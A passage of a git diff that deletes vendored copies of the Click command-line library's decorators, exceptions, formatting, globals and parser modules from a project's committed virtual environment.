type[CmdType], - **attrs: t.Any, -) -> t.Callable[[_AnyCallable], CmdType]: ... - - -# variant: name omitted, cls _must_ be a keyword argument, @command(cls=CommandCls, ...) -@t.overload -def command( - name: None = None, - *, - cls: type[CmdType], - **attrs: t.Any, -) -> t.Callable[[_AnyCallable], CmdType]: ... - - -# variant: with optional string name, no cls argument provided. -@t.overload -def command( - name: str | None = ..., cls: None = None, **attrs: t.Any -) -> t.Callable[[_AnyCallable], Command]: ... - - -def command( - name: str | _AnyCallable | None = None, - cls: type[CmdType] | None = None, - **attrs: t.Any, -) -> Command | t.Callable[[_AnyCallable], Command | CmdType]: - r"""Creates a new :class:`Command` and uses the decorated function as - callback. This will also automatically attach all decorated - :func:`option`\s and :func:`argument`\s as parameters to the command. - - The name of the command defaults to the name of the function, converted to - lowercase, with underscores ``_`` replaced by dashes ``-``, and the suffixes - ``_command``, ``_cmd``, ``_group``, and ``_grp`` are removed. For example, - ``init_data_command`` becomes ``init-data``. - - All keyword arguments are forwarded to the underlying command class. - For the ``params`` argument, any decorated params are appended to - the end of the list. - - Once decorated the function turns into a :class:`Command` instance - that can be invoked as a command line utility or be attached to a - command :class:`Group`. - - :param name: The name of the command. Defaults to modifying the function's - name as described above. - :param cls: The command class to create. Defaults to :class:`Command`. - - .. versionchanged:: 8.2 - The suffixes ``_command``, ``_cmd``, ``_group``, and ``_grp`` are - removed when generating the name. - - .. versionchanged:: 8.1 - This decorator can be applied without parentheses. - - .. versionchanged:: 8.1 - The ``params`` argument can be used. Decorated params are - appended to the end of the list. - """ - - func: t.Callable[[_AnyCallable], t.Any] | None = None - - if callable(name): - func = name - name = None - assert cls is None, "Use 'command(cls=cls)(callable)' to specify a class." - assert not attrs, "Use 'command(**kwargs)(callable)' to provide arguments." - - if cls is None: - cls = t.cast("type[CmdType]", Command) - - def decorator(f: _AnyCallable) -> CmdType: - if isinstance(f, Command): - raise TypeError("Attempted to convert a callback into a command twice.") - - attr_params = attrs.pop("params", None) - params = attr_params if attr_params is not None else [] - - try: - decorator_params = f.__click_params__ # type: ignore - except AttributeError: - pass - else: - del f.__click_params__ # type: ignore - params.extend(reversed(decorator_params)) - - if attrs.get("help") is None: - attrs["help"] = f.__doc__ - - if t.TYPE_CHECKING: - assert cls is not None - assert not callable(name) - - if name is not None: - cmd_name = name - else: - cmd_name = f.__name__.lower().replace("_", "-") - cmd_left, sep, suffix = cmd_name.rpartition("-") - - if sep and suffix in {"command", "cmd", "group", "grp"}: - cmd_name = cmd_left - - cmd = cls(name=cmd_name, callback=f, params=params, **attrs) - cmd.__doc__ = f.__doc__ - return cmd - - if func is not None: - return decorator(func) - - return decorator - - -GrpType = t.TypeVar("GrpType", bound=Group) - - -# variant: no call, directly as decorator for a function. -@t.overload -def group(name: _AnyCallable) -> Group: ... - - -# variant: with positional name and with positional or keyword cls argument: -# @group(namearg, GroupCls, ...) or @group(namearg, cls=GroupCls, ...) -@t.overload -def group( - name: str | None, - cls: type[GrpType], - **attrs: t.Any, -) -> t.Callable[[_AnyCallable], GrpType]: ... - - -# variant: name omitted, cls _must_ be a keyword argument, @group(cmd=GroupCls, ...) -@t.overload -def group( - name: None = None, - *, - cls: type[GrpType], - **attrs: t.Any, -) -> t.Callable[[_AnyCallable], GrpType]: ... - - -# variant: with optional string name, no cls argument provided. -@t.overload -def group( - name: str | None = ..., cls: None = None, **attrs: t.Any -) -> t.Callable[[_AnyCallable], Group]: ... - - -def group( - name: str | _AnyCallable | None = None, - cls: type[GrpType] | None = None, - **attrs: t.Any, -) -> Group | t.Callable[[_AnyCallable], Group | GrpType]: - """Creates a new :class:`Group` with a function as callback. This - works otherwise the same as :func:`command` just that the `cls` - parameter is set to :class:`Group`. - - .. versionchanged:: 8.1 - This decorator can be applied without parentheses. - """ - if cls is None: - cls = t.cast("type[GrpType]", Group) - - if callable(name): - return command(cls=cls, **attrs)(name) - - return command(name, cls, **attrs) - - -def _param_memo(f: t.Callable[..., t.Any], param: Parameter) -> None: - if isinstance(f, Command): - f.params.append(param) - else: - if not hasattr(f, "__click_params__"): - f.__click_params__ = [] # type: ignore - - f.__click_params__.append(param) # type: ignore - - -def argument( - *param_decls: str, cls: type[Argument] | None = None, **attrs: t.Any -) -> t.Callable[[FC], FC]: - """Attaches an argument to the command. All positional arguments are - passed as parameter declarations to :class:`Argument`; all keyword - arguments are forwarded unchanged (except ``cls``). - This is equivalent to creating an :class:`Argument` instance manually - and attaching it to the :attr:`Command.params` list. - - For the default argument class, refer to :class:`Argument` and - :class:`Parameter` for descriptions of parameters. - - :param cls: the argument class to instantiate. This defaults to - :class:`Argument`. - :param param_decls: Passed as positional arguments to the constructor of - ``cls``. - :param attrs: Passed as keyword arguments to the constructor of ``cls``. - """ - if cls is None: - cls = Argument - - def decorator(f: FC) -> FC: - _param_memo(f, cls(param_decls, **attrs)) - return f - - return decorator - - -def option( - *param_decls: str, cls: type[Option] | None = None, **attrs: t.Any -) -> t.Callable[[FC], FC]: - """Attaches an option to the command. All positional arguments are - passed as parameter declarations to :class:`Option`; all keyword - arguments are forwarded unchanged (except ``cls``). - This is equivalent to creating an :class:`Option` instance manually - and attaching it to the :attr:`Command.params` list. - - For the default option class, refer to :class:`Option` and - :class:`Parameter` for descriptions of parameters. - - :param cls: the option class to instantiate. This defaults to - :class:`Option`. - :param param_decls: Passed as positional arguments to the constructor of - ``cls``. - :param attrs: Passed as keyword arguments to the constructor of ``cls``. - """ - if cls is None: - cls = Option - - def decorator(f: FC) -> FC: - _param_memo(f, cls(param_decls, **attrs)) - return f - - return decorator - - -def confirmation_option(*param_decls: str, **kwargs: t.Any) -> t.Callable[[FC], FC]: - """Add a ``--yes`` option which shows a prompt before continuing if - not passed. If the prompt is declined, the program will exit. - - :param param_decls: One or more option names. Defaults to the single - value ``"--yes"``. - :param kwargs: Extra arguments are passed to :func:`option`. - """ - - def callback(ctx: Context, param: Parameter, value: bool) -> None: - if not value: - ctx.abort() - - if not param_decls: - param_decls = ("--yes",) - - kwargs.setdefault("is_flag", True) - kwargs.setdefault("callback", callback) - kwargs.setdefault("expose_value", False) - kwargs.setdefault("prompt", "Do you want to continue?") - kwargs.setdefault("help", "Confirm the action without prompting.") - return option(*param_decls, **kwargs) - - -def password_option(*param_decls: str, **kwargs: t.Any) -> t.Callable[[FC], FC]: - """Add a ``--password`` option which prompts for a password, hiding - input and asking to enter the value again for confirmation. - - :param param_decls: One or more option names. Defaults to the single - value ``"--password"``. - :param kwargs: Extra arguments are passed to :func:`option`. - """ - if not param_decls: - param_decls = ("--password",) - - kwargs.setdefault("prompt", True) - kwargs.setdefault("confirmation_prompt", True) - kwargs.setdefault("hide_input", True) - return option(*param_decls, **kwargs) - - -def version_option( - version: str | None = None, - *param_decls: str, - package_name: str | None = None, - prog_name: str | None = None, - message: str | None = None, - **kwargs: t.Any, -) -> t.Callable[[FC], FC]: - """Add a ``--version`` option which immediately prints the version - number and exits the program. - - If ``version`` is not provided, Click will try to detect it using - :func:`importlib.metadata.version` to get the version for the - ``package_name``. - - If ``package_name`` is not provided, Click will try to detect it by - inspecting the stack frames. This will be used to detect the - version, so it must match the name of the installed package. - - :param version: The version number to show. If not provided, Click - will try to detect it. - :param param_decls: One or more option names. Defaults to the single - value ``"--version"``. - :param package_name: The package name to detect the version from. If - not provided, Click will try to detect it. - :param prog_name: The name of the CLI to show in the message. If not - provided, it will be detected from the command. - :param message: The message to show. The values ``%(prog)s``, - ``%(package)s``, and ``%(version)s`` are available. Defaults to - ``"%(prog)s, version %(version)s"``. - :param kwargs: Extra arguments are passed to :func:`option`. - :raise RuntimeError: ``version`` could not be detected. - - .. versionchanged:: 8.0 - Add the ``package_name`` parameter, and the ``%(package)s`` - value for messages. - - .. versionchanged:: 8.0 - Use :mod:`importlib.metadata` instead of ``pkg_resources``. The - version is detected based on the package name, not the entry - point name. The Python package name must match the installed - package name, or be passed with ``package_name=``. - """ - if message is None: - message = _("%(prog)s, version %(version)s") - - if version is None and package_name is None: - frame = inspect.currentframe() - f_back = frame.f_back if frame is not None else None - f_globals = f_back.f_globals if f_back is not None else None - # break reference cycle - # https://docs.python.org/3/library/inspect.html#the-interpreter-stack - del frame - - if f_globals is not None: - package_name = f_globals.get("__name__") - - if package_name == "__main__": - package_name = f_globals.get("__package__") - - if package_name: - package_name = package_name.partition(".")[0] - - def callback(ctx: Context, param: Parameter, value: bool) -> None: - if not value or ctx.resilient_parsing: - return - - nonlocal prog_name - nonlocal version - - if prog_name is None: - prog_name = ctx.find_root().info_name - - if version is None and package_name is not None: - import importlib.metadata - - try: - version = importlib.metadata.version(package_name) - except importlib.metadata.PackageNotFoundError: - raise RuntimeError( - f"{package_name!r} is not installed. Try passing" - " 'package_name' instead." - ) from None - - if version is None: - raise RuntimeError( - f"Could not determine the version for {package_name!r} automatically." - ) - - echo( - message % {"prog": prog_name, "package": package_name, "version": version}, - color=ctx.color, - ) - ctx.exit() - - if not param_decls: - param_decls = ("--version",) - - kwargs.setdefault("is_flag", True) - kwargs.setdefault("expose_value", False) - kwargs.setdefault("is_eager", True) - kwargs.setdefault("help", _("Show the version and exit.")) - kwargs["callback"] = callback - return option(*param_decls, **kwargs) - - -def help_option(*param_decls: str, **kwargs: t.Any) -> t.Callable[[FC], FC]: - """Pre-configured ``--help`` option which immediately prints the help page - and exits the program. - - :param param_decls: One or more option names. Defaults to the single - value ``"--help"``. - :param kwargs: Extra arguments are passed to :func:`option`. - """ - - def show_help(ctx: Context, param: Parameter, value: bool) -> None: - """Callback that print the help page on ```` and exits.""" - if value and not ctx.resilient_parsing: - echo(ctx.get_help(), color=ctx.color) - ctx.exit() - - if not param_decls: - param_decls = ("--help",) - - kwargs.setdefault("is_flag", True) - kwargs.setdefault("expose_value", False) - kwargs.setdefault("is_eager", True) - kwargs.setdefault("help", _("Show this message and exit.")) - kwargs.setdefault("callback", show_help) - - return option(*param_decls, **kwargs) diff --git a/backend/venv/Lib/site-packages/click/exceptions.py b/backend/venv/Lib/site-packages/click/exceptions.py deleted file mode 100644 index f141a832..00000000 --- a/backend/venv/Lib/site-packages/click/exceptions.py +++ /dev/null @@ -1,308 +0,0 @@ -from __future__ import annotations - -import collections.abc as cabc -import typing as t -from gettext import gettext as _ -from gettext import ngettext - -from ._compat import get_text_stderr -from .globals import resolve_color_default -from .utils import echo -from .utils import format_filename - -if t.TYPE_CHECKING: - from .core import Command - from .core import Context - from .core import Parameter - - -def _join_param_hints(param_hint: cabc.Sequence[str] | str | None) -> str | None: - if param_hint is not None and not isinstance(param_hint, str): - return " / ".join(repr(x) for x in param_hint) - - return param_hint - - -class ClickException(Exception): - """An exception that Click can handle and show to the user.""" - - #: The exit code for this exception. - exit_code = 1 - - def __init__(self, message: str) -> None: - super().__init__(message) - # The context will be removed by the time we print the message, so cache - # the color settings here to be used later on (in `show`) - self.show_color: bool | None = resolve_color_default() - self.message = message - - def format_message(self) -> str: - return self.message - - def __str__(self) -> str: - return self.message - - def show(self, file: t.IO[t.Any] | None = None) -> None: - if file is None: - file = get_text_stderr() - - echo( - _("Error: {message}").format(message=self.format_message()), - file=file, - color=self.show_color, - ) - - -class UsageError(ClickException): - """An internal exception that signals a usage error. This typically - aborts any further handling. - - :param message: the error message to display. - :param ctx: optionally the context that caused this error. Click will - fill in the context automatically in some situations. - """ - - exit_code = 2 - - def __init__(self, message: str, ctx: Context | None = None) -> None: - super().__init__(message) - self.ctx = ctx - self.cmd: Command | None = self.ctx.command if self.ctx else None - - def show(self, file: t.IO[t.Any] | None = None) -> None: - if file is None: - file = get_text_stderr() - color = None - hint = "" - if ( - self.ctx is not None - and self.ctx.command.get_help_option(self.ctx) is not None - ): - hint = _("Try '{command} {option}' for help.").format( - command=self.ctx.command_path, option=self.ctx.help_option_names[0] - ) - hint = f"{hint}\n" - if self.ctx is not None: - color = self.ctx.color - echo(f"{self.ctx.get_usage()}\n{hint}", file=file, color=color) - echo( - _("Error: {message}").format(message=self.format_message()), - file=file, - color=color, - ) - - -class BadParameter(UsageError): - """An exception that formats out a standardized error message for a - bad parameter. This is useful when thrown from a callback or type as - Click will attach contextual information to it (for instance, which - parameter it is). - - .. versionadded:: 2.0 - - :param param: the parameter object that caused this error. This can - be left out, and Click will attach this info itself - if possible. - :param param_hint: a string that shows up as parameter name. This - can be used as alternative to `param` in cases - where custom validation should happen. If it is - a string it's used as such, if it's a list then - each item is quoted and separated. - """ - - def __init__( - self, - message: str, - ctx: Context | None = None, - param: Parameter | None = None, - param_hint: str | None = None, - ) -> None: - super().__init__(message, ctx) - self.param = param - self.param_hint = param_hint - - def format_message(self) -> str: - if self.param_hint is not None: - param_hint = self.param_hint - elif self.param is not None: - param_hint = self.param.get_error_hint(self.ctx) # type: ignore - else: - return _("Invalid value: {message}").format(message=self.message) - - return _("Invalid value for {param_hint}: {message}").format( - param_hint=_join_param_hints(param_hint), message=self.message - ) - - -class MissingParameter(BadParameter): - """Raised if click required an option or argument but it was not - provided when invoking the script. - - .. versionadded:: 4.0 - - :param param_type: a string that indicates the type of the parameter. - The default is to inherit the parameter type from - the given `param`. Valid values are ``'parameter'``, - ``'option'`` or ``'argument'``. - """ - - def __init__( - self, - message: str | None = None, - ctx: Context | None = None, - param: Parameter | None = None, - param_hint: str | None = None, - param_type: str | None = None, - ) -> None: - super().__init__(message or "", ctx, param, param_hint) - self.param_type = param_type - - def format_message(self) -> str: - if self.param_hint is not None: - param_hint: str | None = self.param_hint - elif self.param is not None: - param_hint = self.param.get_error_hint(self.ctx) # type: ignore - else: - param_hint = None - - param_hint = _join_param_hints(param_hint) - param_hint = f" {param_hint}" if param_hint else "" - - param_type = self.param_type - if param_type is None and self.param is not None: - param_type = self.param.param_type_name - - msg = self.message - if self.param is not None: - msg_extra = self.param.type.get_missing_message( - param=self.param, ctx=self.ctx - ) - if msg_extra: - if msg: - msg += f". {msg_extra}" - else: - msg = msg_extra - - msg = f" {msg}" if msg else "" - - # Translate param_type for known types. - if param_type == "argument": - missing = _("Missing argument") - elif param_type == "option": - missing = _("Missing option") - elif param_type == "parameter": - missing = _("Missing parameter") - else: - missing = _("Missing {param_type}").format(param_type=param_type) - - return f"{missing}{param_hint}.{msg}" - - def __str__(self) -> str: - if not self.message: - param_name = self.param.name if self.param else None - return _("Missing parameter: {param_name}").format(param_name=param_name) - else: - return self.message - - -class NoSuchOption(UsageError): - """Raised if click attempted to handle an option that does not - exist. - - .. versionadded:: 4.0 - """ - - def __init__( - self, - option_name: str, - message: str | None = None, - possibilities: cabc.Sequence[str] | None = None, - ctx: Context | None = None, - ) -> None: - if message is None: - message = _("No such option: {name}").format(name=option_name) - - super().__init__(message, ctx) - self.option_name = option_name - self.possibilities = possibilities - - def format_message(self) -> str: - if not self.possibilities: - return self.message - - possibility_str = ", ".join(sorted(self.possibilities)) - suggest = ngettext( - "Did you mean {possibility}?", - "(Possible options: {possibilities})", - len(self.possibilities), - ).format(possibility=possibility_str, possibilities=possibility_str) - return f"{self.message} {suggest}" - - -class BadOptionUsage(UsageError): - """Raised if an option is generally supplied but the use of the option - was incorrect. This is for instance raised if the number of arguments - for an option is not correct. - - .. versionadded:: 4.0 - - :param option_name: the name of the option being used incorrectly. - """ - - def __init__( - self, option_name: str, message: str, ctx: Context | None = None - ) -> None: - super().__init__(message, ctx) - self.option_name = option_name - - -class BadArgumentUsage(UsageError): - """Raised if an argument is generally supplied but the use of the argument - was incorrect. This is for instance raised if the number of values - for an argument is not correct. - - .. versionadded:: 6.0 - """ - - -class NoArgsIsHelpError(UsageError): - def __init__(self, ctx: Context) -> None: - self.ctx: Context - super().__init__(ctx.get_help(), ctx=ctx) - - def show(self, file: t.IO[t.Any] | None = None) -> None: - echo(self.format_message(), file=file, err=True, color=self.ctx.color) - - -class FileError(ClickException): - """Raised if a file cannot be opened.""" - - def __init__(self, filename: str, hint: str | None = None) -> None: - if hint is None: - hint = _("unknown error") - - super().__init__(hint) - self.ui_filename: str = format_filename(filename) - self.filename = filename - - def format_message(self) -> str: - return _("Could not open file {filename!r}: {message}").format( - filename=self.ui_filename, message=self.message - ) - - -class Abort(RuntimeError): - """An internal signalling exception that signals Click to abort.""" - - -class Exit(RuntimeError): - """An exception that indicates that the application should exit with some - status code. - - :param code: the status code to exit with. - """ - - __slots__ = ("exit_code",) - - def __init__(self, code: int = 0) -> None: - self.exit_code: int = code diff --git a/backend/venv/Lib/site-packages/click/formatting.py b/backend/venv/Lib/site-packages/click/formatting.py deleted file mode 100644 index 9891f880..00000000 --- a/backend/venv/Lib/site-packages/click/formatting.py +++ /dev/null @@ -1,301 +0,0 @@ -from __future__ import annotations - -import collections.abc as cabc -from contextlib import contextmanager -from gettext import gettext as _ - -from ._compat import term_len -from .parser import _split_opt - -# Can force a width. This is used by the test system -FORCED_WIDTH: int | None = None - - -def measure_table(rows: cabc.Iterable[tuple[str, str]]) -> tuple[int, ...]: - widths: dict[int, int] = {} - - for row in rows: - for idx, col in enumerate(row): - widths[idx] = max(widths.get(idx, 0), term_len(col)) - - return tuple(y for x, y in sorted(widths.items())) - - -def iter_rows( - rows: cabc.Iterable[tuple[str, str]], col_count: int -) -> cabc.Iterator[tuple[str, ...]]: - for row in rows: - yield row + ("",) * (col_count - len(row)) - - -def wrap_text( - text: str, - width: int = 78, - initial_indent: str = "", - subsequent_indent: str = "", - preserve_paragraphs: bool = False, -) -> str: - """A helper function that intelligently wraps text. By default, it - assumes that it operates on a single paragraph of text but if the - `preserve_paragraphs` parameter is provided it will intelligently - handle paragraphs (defined by two empty lines). - - If paragraphs are handled, a paragraph can be prefixed with an empty - line containing the ``\\b`` character (``\\x08``) to indicate that - no rewrapping should happen in that block. - - :param text: the text that should be rewrapped. - :param width: the maximum width for the text. - :param initial_indent: the initial indent that should be placed on the - first line as a string. - :param subsequent_indent: the indent string that should be placed on - each consecutive line. - :param preserve_paragraphs: if this flag is set then the wrapping will - intelligently handle paragraphs. - """ - from ._textwrap import TextWrapper - - text = text.expandtabs() - wrapper = TextWrapper( - width, - initial_indent=initial_indent, - subsequent_indent=subsequent_indent, - replace_whitespace=False, - ) - if not preserve_paragraphs: - return wrapper.fill(text) - - p: list[tuple[int, bool, str]] = [] - buf: list[str] = [] - indent = None - - def _flush_par() -> None: - if not buf: - return - if buf[0].strip() == "\b": - p.append((indent or 0, True, "\n".join(buf[1:]))) - else: - p.append((indent or 0, False, " ".join(buf))) - del buf[:] - - for line in text.splitlines(): - if not line: - _flush_par() - indent = None - else: - if indent is None: - orig_len = term_len(line) - line = line.lstrip() - indent = orig_len - term_len(line) - buf.append(line) - _flush_par() - - rv = [] - for indent, raw, text in p: - with wrapper.extra_indent(" " * indent): - if raw: - rv.append(wrapper.indent_only(text)) - else: - rv.append(wrapper.fill(text)) - - return "\n\n".join(rv) - - -class HelpFormatter: - """This class helps with formatting text-based help pages. It's - usually just needed for very special internal cases, but it's also - exposed so that developers can write their own fancy outputs. - - At present, it always writes into memory. - - :param indent_increment: the additional increment for each level. - :param width: the width for the text. This defaults to the terminal - width clamped to a maximum of 78. - """ - - def __init__( - self, - indent_increment: int = 2, - width: int | None = None, - max_width: int | None = None, - ) -> None: - import shutil - - self.indent_increment = indent_increment - if max_width is None: - max_width = 80 - if width is None: - width = FORCED_WIDTH - if width is None: - width = max(min(shutil.get_terminal_size().columns, max_width) - 2, 50) - self.width = width - self.current_indent: int = 0 - self.buffer: list[str] = [] - - def write(self, string: str) -> None: - """Writes a unicode string into the internal buffer.""" - self.buffer.append(string) - - def indent(self) -> None: - """Increases the indentation.""" - self.current_indent += self.indent_increment - - def dedent(self) -> None: - """Decreases the indentation.""" - self.current_indent -= self.indent_increment - - def write_usage(self, prog: str, args: str = "", prefix: str | None = None) -> None: - """Writes a usage line into the buffer. - - :param prog: the program name. - :param args: whitespace separated list of arguments. - :param prefix: The prefix for the first line. Defaults to - ``"Usage: "``. - """ - if prefix is None: - prefix = f"{_('Usage:')} " - - usage_prefix = f"{prefix:>{self.current_indent}}{prog} " - text_width = self.width - self.current_indent - - if text_width >= (term_len(usage_prefix) + 20): - # The arguments will fit to the right of the prefix. - indent = " " * term_len(usage_prefix) - self.write( - wrap_text( - args, - text_width, - initial_indent=usage_prefix, - subsequent_indent=indent, - ) - ) - else: - # The prefix is too long, put the arguments on the next line. - self.write(usage_prefix) - self.write("\n") - indent = " " * (max(self.current_indent, term_len(prefix)) + 4) - self.write( - wrap_text( - args, text_width, initial_indent=indent, subsequent_indent=indent - ) - ) - - self.write("\n") - - def write_heading(self, heading: str) -> None: - """Writes a heading into the buffer.""" - self.write(f"{'':>{self.current_indent}}{heading}:\n") - - def write_paragraph(self) -> None: - """Writes a paragraph into the buffer.""" - if self.buffer: - self.write("\n") - - def write_text(self, text: str) -> None: - """Writes re-indented text into the buffer. This rewraps and - preserves paragraphs. - """ - indent = " " * self.current_indent - self.write( - wrap_text( - text, - self.width, - initial_indent=indent, - subsequent_indent=indent, - preserve_paragraphs=True, - ) - ) - self.write("\n") - - def write_dl( - self, - rows: cabc.Sequence[tuple[str, str]], - col_max: int = 30, - col_spacing: int = 2, - ) -> None: - """Writes a definition list into the buffer. This is how options - and commands are usually formatted. - - :param rows: a list of two item tuples for the terms and values. - :param col_max: the maximum width of the first column. - :param col_spacing: the number of spaces between the first and - second column. - """ - rows = list(rows) - widths = measure_table(rows) - if len(widths) != 2: - raise TypeError("Expected two columns for definition list") - - first_col = min(widths[0], col_max) + col_spacing - - for first, second in iter_rows(rows, len(widths)): - self.write(f"{'':>{self.current_indent}}{first}") - if not second: - self.write("\n") - continue - if term_len(first) <= first_col - col_spacing: - self.write(" " * (first_col - term_len(first))) - else: - self.write("\n") - self.write(" " * (first_col + self.current_indent)) - - text_width = max(self.width - first_col - 2, 10) - wrapped_text = wrap_text(second, text_width, preserve_paragraphs=True) - lines = wrapped_text.splitlines() - - if lines: - self.write(f"{lines[0]}\n") - - for line in lines[1:]: - self.write(f"{'':>{first_col + self.current_indent}}{line}\n") - else: - self.write("\n") - - @contextmanager - def section(self, name: str) -> cabc.Iterator[None]: - """Helpful context manager that writes a paragraph, a heading, - and the indents. - - :param name: the section name that is written as heading. - """ - self.write_paragraph() - self.write_heading(name) - self.indent() - try: - yield - finally: - self.dedent() - - @contextmanager - def indentation(self) -> cabc.Iterator[None]: - """A context manager that increases the indentation.""" - self.indent() - try: - yield - finally: - self.dedent() - - def getvalue(self) -> str: - """Returns the buffer contents.""" - return "".join(self.buffer) - - -def join_options(options: cabc.Sequence[str]) -> tuple[str, bool]: - """Given a list of option strings this joins them in the most appropriate - way and returns them in the form ``(formatted_string, - any_prefix_is_slash)`` where the second item in the tuple is a flag that - indicates if any of the option prefixes was a slash. - """ - rv = [] - any_prefix_is_slash = False - - for opt in options: - prefix = _split_opt(opt)[0] - - if prefix == "/": - any_prefix_is_slash = True - - rv.append((len(prefix), opt)) - - rv.sort(key=lambda x: x[0]) - return ", ".join(x[1] for x in rv), any_prefix_is_slash diff --git a/backend/venv/Lib/site-packages/click/globals.py b/backend/venv/Lib/site-packages/click/globals.py deleted file mode 100644 index a2f91723..00000000 --- a/backend/venv/Lib/site-packages/click/globals.py +++ /dev/null @@ -1,67 +0,0 @@ -from __future__ import annotations - -import typing as t -from threading import local - -if t.TYPE_CHECKING: - from .core import Context - -_local = local() - - -@t.overload -def get_current_context(silent: t.Literal[False] = False) -> Context: ... - - -@t.overload -def get_current_context(silent: bool = ...) -> Context | None: ... - - -def get_current_context(silent: bool = False) -> Context | None: - """Returns the current click context. This can be used as a way to - access the current context object from anywhere. This is a more implicit - alternative to the :func:`pass_context` decorator. This function is - primarily useful for helpers such as :func:`echo` which might be - interested in changing its behavior based on the current context. - - To push the current context, :meth:`Context.scope` can be used. - - .. versionadded:: 5.0 - - :param silent: if set to `True` the return value is `None` if no context - is available. The default behavior is to raise a - :exc:`RuntimeError`. - """ - try: - return t.cast("Context", _local.stack[-1]) - except (AttributeError, IndexError) as e: - if not silent: - raise RuntimeError("There is no active click context.") from e - - return None - - -def push_context(ctx: Context) -> None: - """Pushes a new context to the current stack.""" - _local.__dict__.setdefault("stack", []).append(ctx) - - -def pop_context() -> None: - """Removes the top level from the stack.""" - _local.stack.pop() - - -def resolve_color_default(color: bool | None = None) -> bool | None: - """Internal helper to get the default value of the color flag. If a - value is passed it's returned unchanged, otherwise it's looked up from - the current context. - """ - if color is not None: - return color - - ctx = get_current_context(silent=True) - - if ctx is not None: - return ctx.color - - return None diff --git a/backend/venv/Lib/site-packages/click/parser.py b/backend/venv/Lib/site-packages/click/parser.py deleted file mode 100644 index a8b7d263..00000000 --- a/backend/venv/Lib/site-packages/click/parser.py +++ /dev/null @@ -1,532 +0,0 @@ -""" -This module started out as largely a copy paste from the stdlib's -optparse module with the features removed that we do not need from -optparse because we implement them in Click on a higher level (for -instance type handling, help formatting and a lot more). - -The plan is to remove more and more from here over time. - -The reason this is a different module and not optparse from the stdlib -is that there are differences in 2.x and 3.x about the error messages -generated and optparse in the stdlib uses gettext for no good reason -and might cause us issues. - -Click uses parts of optparse written by Gregory P. Ward and maintained -by the Python Software Foundation. This is limited to code in parser.py. - -Copyright 2001-2006 Gregory P. Ward. All rights reserved. -Copyright 2002-2006 Python Software Foundation. All rights reserved. -""" - -# This code uses parts of optparse written by Gregory P. Ward and -# maintained by the Python Software Foundation. -# Copyright 2001-2006 Gregory P. Ward -# Copyright 2002-2006 Python Software Foundation -from __future__ import annotations - -import collections.abc as cabc -import typing as t -from collections import deque -from gettext import gettext as _ -from gettext import ngettext - -from .exceptions import BadArgumentUsage -from .exceptions import BadOptionUsage -from .exceptions import NoSuchOption -from .exceptions import UsageError - -if t.TYPE_CHECKING: - from .core import Argument as CoreArgument - from .core import Context - from .core import Option as CoreOption - from .core import Parameter as CoreParameter - -V = t.TypeVar("V") - -# Sentinel value that indicates an option was passed as a flag without a -# value but is not a flag option. Option.consume_value uses this to -# prompt or use the flag_value. -_flag_needs_value = object() - - -def _unpack_args( - args: cabc.Sequence[str], nargs_spec: cabc.Sequence[int] -) -> tuple[cabc.Sequence[str | cabc.Sequence[str | None] | None], list[str]]: - """Given an iterable of arguments and an iterable of nargs specifications, - it returns a tuple with all the unpacked arguments at the first index - and all remaining arguments as the second. - - The nargs specification is the number of arguments that should be consumed - or `-1` to indicate that this position should eat up all the remainders. - - Missing items are filled with `None`. - """ - args = deque(args) - nargs_spec = deque(nargs_spec) - rv: list[str | tuple[str | None, ...] | None] = [] - spos: int | None = None - - def _fetch(c: deque[V]) -> V | None: - try: - if spos is None: - return c.popleft() - else: - return c.pop() - except IndexError: - return None - - while nargs_spec: - nargs = _fetch(nargs_spec) - - if nargs is None: - continue - - if nargs == 1: - rv.append(_fetch(args)) - elif nargs > 1: - x = [_fetch(args) for _ in range(nargs)] - - # If we're reversed, we're pulling in the arguments in reverse, - # so we need to turn them around. - if spos is not None: - x.reverse() - - rv.append(tuple(x)) - elif nargs < 0: - if spos is not None: - raise TypeError("Cannot have two nargs < 0") - - spos = len(rv) - rv.append(None) - - # spos is the position of the wildcard (star). If it's not `None`, - # we fill it with the remainder. - if spos is not None: - rv[spos] = tuple(args) - args = [] - rv[spos + 1 :] = reversed(rv[spos + 1 :]) - - return tuple(rv), list(args) - - -def _split_opt(opt: str) -> tuple[str, str]: - first = opt[:1] - if first.isalnum(): - return "", opt - if opt[1:2] == first: - return opt[:2], opt[2:] - return first, opt[1:] - - -def _normalize_opt(opt: str, ctx: Context | None) -> str: - if ctx is None or ctx.token_normalize_func is None: - return opt - prefix, opt = _split_opt(opt) - return f"{prefix}{ctx.token_normalize_func(opt)}" - - -class _Option: - def __init__( - self, - obj: CoreOption, - opts: cabc.Sequence[str], - dest: str | None, - action: str | None = None, - nargs: int = 1, - const: t.Any | None = None, - ): - self._short_opts = [] - self._long_opts = [] - self.prefixes: set[str] = set() - - for opt in opts: - prefix, value = _split_opt(opt) - if not prefix: - raise ValueError(f"Invalid start character for option ({opt})") - self.prefixes.add(prefix[0]) - if len(prefix) == 1 and len(value) == 1: - self._short_opts.append(opt) - else: - self._long_opts.append(opt) - self.prefixes.add(prefix) - - if action is None: - action = "store" - - self.dest = dest - self.action = action - self.nargs = nargs - self.const = const - self.obj = obj - - @property - def takes_value(self) -> bool: - return self.action in ("store", "append") - - def process(self, value: t.Any, state: _ParsingState) -> None: - if self.action == "store": - state.opts[self.dest] = value # type: ignore - elif self.action == "store_const": - state.opts[self.dest] = self.const # type: ignore - elif self.action == "append": - state.opts.setdefault(self.dest, []).append(value) # type: ignore - elif self.action == "append_const": - state.opts.setdefault(self.dest, []).append(self.const) # type: ignore - elif self.action == "count": - state.opts[self.dest] = state.opts.get(self.dest, 0) + 1 # type: ignore - else: - raise ValueError(f"unknown action '{self.action}'") - state.order.append(self.obj) - - -class _Argument: - def __init__(self, obj: CoreArgument, dest: str | None, nargs: int = 1): - self.dest = dest - self.nargs = nargs - self.obj = obj - - def process( - self, - value: str | cabc.Sequence[str | None] | None, - state: _ParsingState, - ) -> None: - if self.nargs > 1: - assert value is not None - holes = sum(1 for x in value if x is None) - if holes == len(value): - value = None - elif holes != 0: - raise BadArgumentUsage( - _("Argument {name!r} takes {nargs} values.").format( - name=self.dest, nargs=self.nargs - ) - ) - - if self.nargs == -1 and self.obj.envvar is not None and value == (): - # Replace empty tuple with None so that a value from the - # environment may be tried. - value = None - - state.opts[self.dest] = value # type: ignore - state.order.append(self.obj) - - -class _ParsingState: - def __init__(self, rargs: list[str]) -> None: - self.opts: dict[str, t.Any] = {} - self.largs: list[str] = [] - self.rargs = rargs - self.order: list[CoreParameter] = [] - - -class _OptionParser: - """The option parser is an internal class that is ultimately used to - parse options and arguments. It's modelled after optparse and brings - a similar but vastly simplified API. It should generally not be 